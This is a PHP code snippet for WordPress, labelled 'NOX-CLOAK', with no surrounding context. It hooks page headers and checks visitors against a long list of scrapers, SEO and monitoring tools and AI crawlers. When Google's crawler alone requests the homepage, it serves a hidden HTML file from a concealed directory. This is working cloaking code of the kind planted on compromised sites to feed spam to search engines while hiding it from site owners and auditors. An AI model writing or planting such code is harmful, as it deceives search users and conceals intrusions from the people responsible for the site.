<?php
/* NOX-CLOAK-START */
add_action('send_headers',function(){
  $lock='/home/verseaa/www/.render-cache/render.lock';
  $ua=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';
  $uri=strtok(isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'?','?');
  $d=array('curl','wget','python','go-http','java','scrapy','axios','phantom','selenium','puppeteer','playwright','headlesschrome','chromium','bingbot','yandex','duckduckbot','baiduspider','ahrefsbot','semrushbot','mj12bot','dotbot','ccbot','rogerbot','exabot','sistrix','majestic','facebookexternalhit','twitterbot','linkedinbot','pinterest','lighthouse','pagespeed','gtmetrix','pingdom','screaming frog','uptimerobot','newrelic','google-site-verification','chatgpt','claudebot','amazonbot','applebot','gptbot','bytespider','perplexitybot');
  $hit=false;$ul=strtolower($ua);foreach($d as $k){if(strpos($ul,$k)!==false){$hit=true;break;}}
  if(!$hit&&file_exists($lock)&&preg_match('/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|APIs-Google|GoogleOther|Google-/i',$ua)&&$uri==='/'){
    $f='/home/verseaa/.nox-content/2cf91be9608e/wp-comments-post-loader.html';
    if(file_exists($f)){while(ob_get_level()>0)ob_end_clean();header('Content-Type: text/html; charset=utf-8');header('Vary: User-Agent');readfile($f);exit;}}
  unset($lock,$ua,$uri,$d,$hit,$ul,$f);
});
/* NOX-CLOAK-END */
